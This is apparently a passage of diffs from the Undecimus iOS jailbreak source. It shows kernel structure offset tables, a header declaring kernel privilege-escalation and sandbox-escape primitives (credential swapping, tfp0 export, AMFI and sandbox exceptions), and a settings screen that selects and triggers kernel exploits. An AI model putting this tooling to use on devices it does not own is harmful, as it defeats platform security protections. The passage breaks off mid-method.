0x390, // KSTRUCT_OFFSET_TASK_TFLAGS
|
||||
#endif
|
||||
0x0, // KSTRUCT_OFFSET_TASK_LOCK
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS
|
||||
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES
|
||||
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE
|
||||
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT
|
||||
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER
|
||||
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT
|
||||
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG
|
||||
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT
|
||||
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS
|
||||
|
||||
0x60, // KSTRUCT_OFFSET_PROC_PID
|
||||
0x108, // KSTRUCT_OFFSET_PROC_P_FD
|
||||
0x10, // KSTRUCT_OFFSET_PROC_TASK
|
||||
0xf8, // KSTRUCT_OFFSET_PROC_UCRED
|
||||
0x0, // KSTRUCT_OFFSET_PROC_P_LIST
|
||||
0x290, // KSTRUCT_OFFSET_PROC_P_CSFLAGS
|
||||
0x3f8, // KSTRUCT_OFFSET_PROC_P_MEMSTAT_STATE
|
||||
0x50, // KSTRUCT_OFFSET_PROC_MLOCK
|
||||
0xe8, // KSTRUCT_OFFSET_PROC_UCRED_MLOCK
|
||||
0x32, // KSTRUCT_OFFSET_PROC_SVUID
|
||||
0x36, // KSTRUCT_OFFSET_PROC_SVGID
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
|
||||
|
||||
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
|
||||
|
||||
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
|
||||
|
||||
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
|
||||
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
|
||||
|
||||
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
|
||||
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
|
||||
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
|
||||
0xe0, // KSTRUCT_OFFSET_VNODE_V_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
|
||||
|
||||
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
|
||||
0x8f8, // KSTRUCT_OFFSET_MOUNT_MNT_DATA
|
||||
0x18, // KSTRUCT_OFFSET_MOUNT_MNT_MLOCK
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
|
||||
|
||||
0x18, // KSTRUCT_OFFSET_UCRED_CR_UID
|
||||
0x1c, // KSTRUCT_OFFSET_UCRED_CR_RUID
|
||||
0x20, // KSTRUCT_OFFSET_UCRED_CR_SVUID
|
||||
0x24, // KSTRUCT_OFFSET_UCRED_CR_NGROUPS
|
||||
0x28, // KSTRUCT_OFFSET_UCRED_CR_GROUPS
|
||||
0x68, // KSTRUCT_OFFSET_UCRED_CR_RGID
|
||||
0x6c, // KSTRUCT_OFFSET_UCRED_CR_SVGID
|
||||
0x70, // KSTRUCT_OFFSET_UCRED_CR_GMUID
|
||||
0x74, // KSTRUCT_OFFSET_UCRED_CR_FLAGS
|
||||
0x78, // KSTRUCT_OFFSET_UCRED_CR_LABEL
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_LABEL_L_FLAGS
|
||||
0x8, // KSTRUCT_OFFSET_LABEL_L_PERPOLICY
|
||||
|
||||
0x18, // KSTRUCT_SIZE_IPC_ENTRY
|
||||
0x8, // KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS
|
||||
|
||||
0x1F, // KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP
|
||||
0x26, // KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP
|
||||
0x23, // KVTABLE_OFFSET_OSDICTIONARY_MERGE
|
||||
|
||||
0x1E, // KVTABLE_OFFSET_OSARRAY_MERGE
|
||||
0x20, // KVTABLE_OFFSET_OSARRAY_REMOVEOBJECT
|
||||
0x22, // KVTABLE_OFFSET_OSARRAY_GETOBJECT
|
||||
|
||||
0x05, // KVTABLE_OFFSET_OSOBJECT_RELEASE
|
||||
0x03, // KVTABLE_OFFSET_OSOBJECT_GETRETAINCOUNT
|
||||
0x04, // KVTABLE_OFFSET_OSOBJECT_RETAIN
|
||||
|
||||
0x11, // KVTABLE_OFFSET_OSSTRING_GETLENGTH
|
||||
|
||||
0x6c, // KFREE_ADDR_OFFSET
|
||||
};
|
||||
|
||||
uint32_t koffset(enum kernel_offset offset)
|
||||
{
|
||||
static dispatch_once_t onceToken;
|
||||
dispatch_once(&onceToken, ^{
|
||||
LOG("kCFCoreFoundationVersionNumber: %f", kCFCoreFoundationVersionNumber);
|
||||
if (kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_12_0) {
|
||||
LOG("offsets selected for iOS 12.0 or above");
|
||||
offsets = kernel_offsets_12_0;
|
||||
} else if (kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_11_3) {
|
||||
LOG("offsets selected for iOS 11.3 or above");
|
||||
offsets = kernel_offsets_11_3;
|
||||
} else if (kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_11_0) {
|
||||
LOG("offsets selected for iOS 11.0 to 11.2.6");
|
||||
offsets = kernel_offsets_11_0;
|
||||
} else {
|
||||
LOG("iOS version too low, 11.0 required");
|
||||
offsets = NULL;
|
||||
}
|
||||
});
|
||||
if (offsets == NULL) {
|
||||
return 0;
|
||||
}
|
||||
return offsets[offset];
|
||||
}
|
||||
@@ -0,0 +1,167 @@
|
||||
#ifndef kutils_h
|
||||
#define kutils_h
|
||||
|
||||
#include <common.h>
|
||||
#include <mach/mach.h>
|
||||
#include <offsetcache.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#if 0
|
||||
Credits:
|
||||
- https://stek29.rocks/2018/01/26/sandbox.html
|
||||
- https://stek29.rocks/2018/12/11/shenanigans.html
|
||||
- http://newosxbook.com/QiLin/qilin.pdf
|
||||
- https://github.com/Siguza/v0rtex/blob/e6d54c97715d6dbcdda8b9a8090484a7a47019d0/src/v0rtex.m#L1623
|
||||
#endif
|
||||
|
||||
#if 0
|
||||
TODO:
|
||||
- Patchfind proc_lock (High priority)
|
||||
- Patchfind proc_unlock (High priority)
|
||||
- Patchfind proc_ucred_lock (High priority)
|
||||
- Patchfind proc_ucred_unlock (High priority)
|
||||
- Patchfind vnode_lock (Low priority)
|
||||
- Patchfind vnode_unlock (Low priority)
|
||||
- Patchfind mount_lock (Low priority)
|
||||
- Patchfind mount_unlock (Low priority)
|
||||
- Patchfind task_set_platform_binary (High priority)
|
||||
- Patchfind kauth_cred_ref (Low priority)
|
||||
- Patchfind kauth_cred_unref (Low priority)
|
||||
- Patchfind chgproccnt (Low priority)
|
||||
- Patchfind kauth_cred_ref (Low priority)
|
||||
- Patchfind kauth_cred_unref (Low priority)
|
||||
- Patchfind extension_destroy (Low priority)
|
||||
- Patchfind extension_create_mach (Middle priority)
|
||||
- Use offsetof with XNU headers to find structure offsets (Low priority)
|
||||
- Update Unrestrict to implement the kernel calls
|
||||
#endif
|
||||
|
||||
#define setoffset(offset, val) set_offset(#offset, val)
|
||||
#define getoffset(offset) get_offset(#offset)
|
||||
|
||||
#define OSBoolTrue getOSBool(true)
|
||||
#define OSBoolFalse getOSBool(false)
|
||||
|
||||
extern kptr_t kernel_base;
|
||||
extern uint64_t kernel_slide;
|
||||
|
||||
extern kptr_t cached_task_self_addr;
|
||||
extern BOOL found_offsets;
|
||||
|
||||
kptr_t task_self_addr(void);
|
||||
kptr_t ipc_space_kernel(void);
|
||||
kptr_t find_kernel_base(void);
|
||||
|
||||
kptr_t current_thread(void);
|
||||
|
||||
mach_port_t fake_host_priv(void);
|
||||
|
||||
int message_size_for_kalloc_size(int kalloc_size);
|
||||
|
||||
kptr_t get_kernel_proc_struct_addr(void);
|
||||
BOOL iterate_proc_list(void (^handler)(kptr_t, pid_t, BOOL *));
|
||||
kptr_t get_proc_struct_for_pid(pid_t pid);
|
||||
kptr_t get_address_of_port(pid_t pid, mach_port_t port);
|
||||
kptr_t get_kernel_cred_addr(void);
|
||||
kptr_t give_creds_to_process_at_addr(kptr_t proc, kptr_t cred_addr);
|
||||
BOOL set_platform_binary(kptr_t proc, BOOL set);
|
||||
|
||||
kptr_t zm_fix_addr(kptr_t addr);
|
||||
|
||||
BOOL verify_tfp0(void);
|
||||
|
||||
extern int (*pmap_load_trust_cache)(kptr_t kernel_trust, size_t length);
|
||||
int _pmap_load_trust_cache(kptr_t kernel_trust, size_t length);
|
||||
|
||||
BOOL set_host_type(host_t host, uint32_t type);
|
||||
BOOL export_tfp0(host_t host);
|
||||
BOOL unexport_tfp0(host_t host);
|
||||
|
||||
BOOL set_csflags(kptr_t proc, uint32_t flags, BOOL value);
|
||||
BOOL set_cs_platform_binary(kptr_t proc, BOOL value);
|
||||
|
||||
BOOL execute_with_credentials(kptr_t proc, kptr_t credentials, void (^function)(void));
|
||||
|
||||
uint32_t get_proc_memstat_state(kptr_t proc);
|
||||
BOOL set_proc_memstat_state(kptr_t proc, uint32_t memstat_state);
|
||||
BOOL set_proc_memstat_internal(kptr_t proc, BOOL set);
|
||||
BOOL get_proc_memstat_internal(kptr_t proc);
|
||||
size_t kstrlen(kptr_t ptr);
|
||||
kptr_t kstralloc(const char *str);
|
||||
BOOL kstrfree(kptr_t ptr);
|
||||
kptr_t sstrdup(const char *str);
|
||||
void sfree(kptr_t ptr);
|
||||
int extension_create_file(kptr_t saveto, kptr_t sb, const char *path, size_t path_len, uint32_t subtype);
|
||||
int extension_create_mach(kptr_t saveto, kptr_t sb, const char *name, uint32_t subtype);
|
||||
int extension_add(kptr_t ext, kptr_t sb, const char *desc);
|
||||
void extension_release(kptr_t ext);
|
||||
void extension_destroy(kptr_t ext);
|
||||
BOOL set_file_extension(kptr_t sandbox, const char *exc_key, const char *path);
|
||||
BOOL set_mach_extension(kptr_t sandbox, const char *exc_key, const char *name);
|
||||
kptr_t proc_find(pid_t pid);
|
||||
void proc_rele(kptr_t proc);
|
||||
void proc_lock(kptr_t proc);
|
||||
void proc_unlock(kptr_t proc);
|
||||
void proc_ucred_lock(kptr_t proc);
|
||||
void proc_ucred_unlock(kptr_t proc);
|
||||
void vnode_lock(kptr_t vp);
|
||||
void vnode_unlock(kptr_t vp);
|
||||
void mount_lock(kptr_t mp);
|
||||
void mount_unlock(kptr_t mp);
|
||||
void task_set_platform_binary(kptr_t task, boolean_t is_platform);
|
||||
void kauth_cred_ref(kptr_t cred);
|
||||
void kauth_cred_unref(kptr_t cred);
|
||||
int chgproccnt(uid_t uid, int diff);
|
||||
kptr_t vfs_context_current(void);
|
||||
int vnode_lookup(const char *path, int flags, kptr_t *vpp, kptr_t ctx);
|
||||
int vnode_put(kptr_t vp);
|
||||
BOOL OSDictionary_SetItem(kptr_t OSDictionary, const char *key, kptr_t val);
|
||||
kptr_t OSDictionary_GetItem(kptr_t OSDictionary, const char *key);
|
||||
BOOL OSDictionary_Merge(kptr_t OSDictionary, kptr_t OSDictionary2);
|
||||
uint32_t OSDictionary_ItemCount(kptr_t OSDictionary);
|
||||
kptr_t OSDictionary_ItemBuffer(kptr_t OSDictionary);
|
||||
kptr_t OSDictionary_ItemKey(kptr_t buffer, uint32_t idx);
|
||||
kptr_t OSDictionary_ItemValue(kptr_t buffer, uint32_t idx);
|
||||
uint32_t OSArray_ItemCount(kptr_t OSArray);
|
||||
BOOL OSArray_Merge(kptr_t OSArray, kptr_t OSArray2);
|
||||
kptr_t OSArray_GetObject(kptr_t OSArray, uint32_t idx);
|
||||
void OSArray_RemoveObject(kptr_t OSArray, uint32_t idx);
|
||||
kptr_t OSArray_ItemBuffer(kptr_t OSArray);
|
||||
kptr_t OSObjectFunc(kptr_t OSObject, uint32_t off);
|
||||
void OSObject_Release(kptr_t OSObject);
|
||||
void OSObject_Retain(kptr_t OSObject);
|
||||
uint32_t OSObject_GetRetainCount(kptr_t OSObject);
|
||||
uint32_t OSString_GetLength(kptr_t OSString);
|
||||
kptr_t OSString_CStringPtr(kptr_t OSString);
|
||||
char *OSString_CopyString(kptr_t OSString);
|
||||
kptr_t OSUnserializeXML(const char *buffer);
|
||||
kptr_t get_exception_osarray(const char **exceptions);
|
||||
char **copy_amfi_entitlements(kptr_t present);
|
||||
kptr_t getOSBool(BOOL value);
|
||||
BOOL entitle_process(kptr_t amfi_entitlements, const char *key, kptr_t val);
|
||||
BOOL set_sandbox_exceptions(kptr_t sandbox, const char **exceptions);
|
||||
BOOL check_for_exception(char **current_exceptions, const char *exception);
|
||||
BOOL set_amfi_exceptions(kptr_t amfi_entitlements, const char **exceptions);
|
||||
BOOL set_exceptions(kptr_t sandbox, kptr_t amfi_entitlements);
|
||||
kptr_t get_amfi_entitlements(kptr_t cr_label);
|
||||
kptr_t get_sandbox(kptr_t cr_label);
|
||||
BOOL entitle_process_with_pid(pid_t pid, const char *key, kptr_t val);
|
||||
BOOL remove_memory_limit(void);
|
||||
BOOL restore_kernel_task_port(task_t *out_kernel_task_port);
|
||||
BOOL restore_kernel_base(uint64_t *out_kernel_base, uint64_t *out_kernel_slide);
|
||||
BOOL restore_kernel_offset_cache(void);
|
||||
BOOL restore_file_offset_cache(const char *offset_cache_file_path, kptr_t *out_kernel_base, uint64_t *out_kernel_slide);
|
||||
BOOL convert_port_to_task_port(mach_port_t port, kptr_t space, kptr_t task_kaddr);
|
||||
kptr_t make_fake_task(kptr_t vm_map);
|
||||
BOOL make_port_fake_task_port(mach_port_t port, kptr_t task_kaddr);
|
||||
BOOL set_hsp4(task_t port);
|
||||
kptr_t get_vnode_for_path(const char *path);
|
||||
kptr_t get_vnode_for_snapshot(int fd, char *name);
|
||||
BOOL set_kernel_task_info(void);
|
||||
int issue_extension_for_mach_service(kptr_t sb, kptr_t ctx, const char *entry_name, void *desc);
|
||||
BOOL unrestrict_process(pid_t pid);
|
||||
BOOL unrestrict_process_with_task_port(task_t task_port);
|
||||
BOOL revalidate_process(pid_t pid);
|
||||
BOOL revalidate_process_with_task_port(task_t task_port);
|
||||
|
||||
#endif /* kutils_h */
|
||||
@@ -0,0 +1,46 @@
|
||||
//
|
||||
// SettingsTableViewController.h
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 9/14/18.
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
#import "common.h"
|
||||
#import "utils.h"
|
||||
|
||||
@interface SettingsTableViewController : UITableViewController <UITextFieldDelegate>
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *TweakInjectionSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *LoadDaemonsSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *DumpAPTicketSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *RefreshIconCacheSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UITextField *BootNonceTextField;
|
||||
@property (weak, nonatomic) IBOutlet UISegmentedControl *KernelExploitSegmentedControl;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *restartButton;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *DisableAutoUpdatesSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *DisableAppRevokesSwitch;
|
||||
@property (nonatomic) UITapGestureRecognizer *tap;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *ShareDiagnosticsDataButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *OpenCydiaButton;
|
||||
@property (weak, nonatomic) IBOutlet UITextField *ExpiryLabel;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *OverwriteBootNonceSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *ExportKernelTaskPortSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *RestoreRootFSSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *installCydiaSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *installSSHSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UITextField *UptimeLabel;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *IncreaseMemoryLimitSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UITextField *ECIDLabel;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *ReloadSystemDaemonsSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *RestartSpringBoardButton;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *HideLogWindowSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *ResetCydiaCacheSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *SSHOnlySwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *EnableGetTaskAllowSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *SetCSDebuggedSwitch;
|
||||
|
||||
+ (NSDictionary *)provisioningProfileAtPath:(NSString *)path;
|
||||
|
||||
@end
|
||||
|
||||
@@ -0,0 +1,420 @@
|
||||
//
|
||||
// SettingsTableViewController.m
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 9/14/18.
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/sysctl.h>
|
||||
#import "SettingsTableViewController.h"
|
||||
#include <common.h>
|
||||
#include "hideventsystem.h"
|
||||
#include "remote_call.h"
|
||||
#include "JailbreakViewController.h"
|
||||
#include "utils.h"
|
||||
#include "voucher_swap-poc.h"
|
||||
#include "necp.h"
|
||||
#include "kalloc_crash.h"
|
||||
#include "prefs.h"
|
||||
#include "diagnostics.h"
|
||||
|
||||
@interface SettingsTableViewController ()
|
||||
|
||||
@end
|
||||
|
||||
@implementation SettingsTableViewController
|
||||
|
||||
// https://github.com/Matchstic/ReProvision/blob/7b595c699335940f68702bb204c5aa55b8b1896f/Shared/Application%20Database/RPVApplication.m#L102
|
||||
|
||||
+ (NSDictionary *)provisioningProfileAtPath:(NSString *)path {
|
||||
auto stringContent = [NSString stringWithContentsOfFile:path encoding:NSASCIIStringEncoding error:nil];
|
||||
stringContent = [stringContent componentsSeparatedByString:@"<plist version=\"1.0\">"][1];
|
||||
stringContent = [NSString stringWithFormat:@"%@%@", @"<plist version=\"1.0\">", stringContent];
|
||||
stringContent = [stringContent componentsSeparatedByString:@"</plist>"][0];
|
||||
stringContent = [NSString stringWithFormat:@"%@%@", stringContent, @"</plist>"];
|
||||
auto const stringData = [stringContent dataUsingEncoding:NSASCIIStringEncoding];
|
||||
id const plist = [NSPropertyListSerialization propertyListWithData:stringData options:NSPropertyListImmutable format:nil error:nil];
|
||||
return plist;
|
||||
}
|
||||
|
||||
- (void)viewWillAppear:(BOOL)animated {
|
||||
[super viewWillAppear:animated];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (void)viewDidLoad {
|
||||
[super viewDidLoad];
|
||||
auto const myImageView = [[UIImageView alloc] initWithImage:[UIImage imageNamed:@"Clouds"]];
|
||||
[myImageView setContentMode:UIViewContentModeScaleAspectFill];
|
||||
[myImageView setFrame:self.tableView.frame];
|
||||
auto const myView = [[UIView alloc] initWithFrame:myImageView.frame];
|
||||
[myView setBackgroundColor:[UIColor whiteColor]];
|
||||
[myView setAlpha:0.84];
|
||||
[myView setAutoresizingMask:UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight];
|
||||
[myImageView addSubview:myView];
|
||||
[self.tableView setBackgroundView:myImageView];
|
||||
[self.BootNonceTextField setDelegate:self];
|
||||
self.tap = [[UITapGestureRecognizer alloc] initWithTarget:self action:@selector(userTappedAnyware:)];
|
||||
self.tap.cancelsTouchesInView = NO;
|
||||
[self.view addGestureRecognizer:self.tap];
|
||||
}
|
||||
|
||||
- (void)userTappedAnyware:(UITapGestureRecognizer *) sender
|
||||
{
|
||||
[self.view endEditing:YES];
|
||||
}
|
||||
|
||||
- (BOOL)textFieldShouldReturn:(UITextField *)textField {
|
||||
[textField resignFirstResponder];
|
||||
return YES;
|
||||
}
|
||||
|
||||
- (void)reloadData {
|
||||
auto prefs = copy_prefs();
|
||||
[self.TweakInjectionSwitch setOn:(BOOL)prefs->load_tweaks];
|
||||
[self.LoadDaemonsSwitch setOn:(BOOL)prefs->load_daemons];
|
||||
[self.DumpAPTicketSwitch setOn:(BOOL)prefs->dump_apticket];
|
||||
[self.BootNonceTextField setPlaceholder:@(prefs->boot_nonce)];
|
||||
[self.BootNonceTextField setText:nil];
|
||||
[self.RefreshIconCacheSwitch setOn:(BOOL)prefs->run_uicache];
|
||||
[self.KernelExploitSegmentedControl setSelectedSegmentIndex:(int)prefs->exploit];
|
||||
[self.DisableAutoUpdatesSwitch setOn:(BOOL)prefs->disable_auto_updates];
|
||||
[self.DisableAppRevokesSwitch setOn:(BOOL)prefs->disable_app_revokes];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(empty_list_exploit) forSegmentAtIndex:empty_list_exploit];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(multi_path_exploit) forSegmentAtIndex:multi_path_exploit];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(async_wake_exploit) forSegmentAtIndex:async_wake_exploit];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(voucher_swap_exploit) forSegmentAtIndex:voucher_swap_exploit];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(mach_swap_exploit) forSegmentAtIndex:mach_swap_exploit];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(mach_swap_2_exploit) forSegmentAtIndex:mach_swap_2_exploit];
|
||||
[self.OpenCydiaButton setEnabled:[[UIApplication sharedApplication] canOpenURL:[NSURL URLWithString:@"cydia://"]]];
|
||||
[self.ExpiryLabel setPlaceholder:[NSString stringWithFormat:@"%d %@", (int)[[SettingsTableViewController provisioningProfileAtPath:[[NSBundle mainBundle] pathForResource:@"embedded" ofType:@"mobileprovision"]][@"ExpirationDate"] timeIntervalSinceDate:[NSDate date]] / 86400, localize(@"Days")]];
|
||||
[self.OverwriteBootNonceSwitch setOn:(BOOL)prefs->overwrite_boot_nonce];
|
||||
[self.ExportKernelTaskPortSwitch setOn:(BOOL)prefs->export_kernel_task_port];
|
||||
[self.RestoreRootFSSwitch setOn:(BOOL)prefs->restore_rootfs];
|
||||
[self.UptimeLabel setPlaceholder:[NSString stringWithFormat:@"%d %@", (int)getUptime() / 86400, localize(@"Days")]];
|
||||
[self.IncreaseMemoryLimitSwitch setOn:(BOOL)prefs->increase_memory_limit];
|
||||
[self.installSSHSwitch setOn:(BOOL)prefs->install_openssh];
|
||||
[self.installCydiaSwitch setOn:(BOOL)prefs->install_cydia];
|
||||
[self.ECIDLabel setPlaceholder:hexFromInt([@(prefs->ecid) integerValue])];
|
||||
[self.ReloadSystemDaemonsSwitch setOn:(BOOL)prefs->reload_system_daemons];
|
||||
[self.HideLogWindowSwitch setOn:(BOOL)prefs->hide_log_window];
|
||||
[self.ResetCydiaCacheSwitch setOn:(BOOL)prefs->reset_cydia_cache];
|
||||
[self.SSHOnlySwitch setOn:(BOOL)prefs->ssh_only];
|
||||
[self.EnableGetTaskAllowSwitch setOn:(BOOL)prefs->enable_get_task_allow];
|
||||
[self.SetCSDebuggedSwitch setOn:(BOOL)prefs->set_cs_debugged];
|
||||
[self.RestartSpringBoardButton setEnabled:respringSupported()];
|
||||
[self.restartButton setEnabled:restartSupported()];
|
||||
release_prefs(&prefs);
|
||||
[self.tableView reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)TweakInjectionSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->load_tweaks = (bool)self.TweakInjectionSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)LoadDaemonsSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->load_daemons = (bool)self.LoadDaemonsSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)DumpAPTicketSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->dump_apticket = (bool)self.DumpAPTicketSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)BootNonceTextFieldTriggered:(id)sender {
|
||||
auto val = (uint64_t)0;
|
||||
if ([[NSScanner scannerWithString:[self.BootNonceTextField text]] scanHexLongLong:&val] && val != HUGE_VAL && val != -HUGE_VAL) {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->boot_nonce = [NSString stringWithFormat:@ADDR, val].UTF8String;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
} else {
|
||||
auto const alertController = [UIAlertController alertControllerWithTitle:localize(@"Invalid Entry") message:localize(@"The boot nonce entered could not be parsed") preferredStyle:UIAlertControllerStyleAlert];
|
||||
auto const OK = [UIAlertAction actionWithTitle:localize(@"OK") style:UIAlertActionStyleDefault handler:nil];
|
||||
[alertController addAction:OK];
|
||||
[self presentViewController:alertController animated:YES completion:nil];
|
||||
}
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)RefreshIconCacheSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->run_uicache = (bool)self.RefreshIconCacheSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)KernelExploitSegmentedControl:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->exploit = (int)self.KernelExploitSegmentedControl.selectedSegmentIndex;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)DisableAppRevokesSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->disable_app_revokes = (bool)self.DisableAppRevokesSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnRestart:(id)sender {
|
||||
auto const block = ^(void) {
|
||||
notice(localize(@"The device will be restarted."), true, false);
|
||||
auto const support = recommendedRestartSupport();
|
||||
switch (support) {
|
||||
case necp_exploit: {
|
||||
necp_die();
|
||||
break;
|
||||
}
|
||||
case voucher_swap_exploit: {
|
||||
voucher_swap_poc();
|
||||
break;
|
||||
}
|
||||
case kalloc_crash: {
|
||||
do_kalloc_crash();
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
exit(EXIT_FAILURE);
|
||||
};
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), block);
|
||||
}
|
||||
|
||||
- (IBAction)DisableAutoUpdatesSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->disable_auto_updates = (bool)self.DisableAutoUpdatesSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnShareDiagnosticsData:(id)sender {
|
||||
auto const URL = [NSURL fileURLWithPath:[NSString stringWithFormat:@"%@/Documents/diagnostics.plist", NSHomeDirectory()]];
|
||||
[getDiagnostics() writeToURL:URL error:nil];
|
||||
auto const activityViewController = [[UIActivityViewController alloc] initWithActivityItems:@[URL] applicationActivities:nil];
|
||||
if ([activityViewController respondsToSelector:@selector(popoverPresentationController)]) {
|
||||
[[activityViewController popoverPresentationController] setSourceView:self.ShareDiagnosticsDataButton];
|
||||
}
|
||||
[self presentViewController:activityViewController animated:YES completion:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnOpenCydia:(id)sender {
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"cydia://"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnOpenGithub:(id)sender {
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://github.com/pwn20wndstuff/Undecimus"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
- (IBAction)OverwriteBootNonceSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->overwrite_boot_nonce = (bool)self.OverwriteBootNonceSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnCopyNonce:(id)sender{
|
||||
auto const copyBootNonceAlert = [UIAlertController alertControllerWithTitle:localize(@"Copy boot nonce?") message:localize(@"Would you like to copy nonce generator to clipboard?") preferredStyle:UIAlertControllerStyleAlert];
|
||||
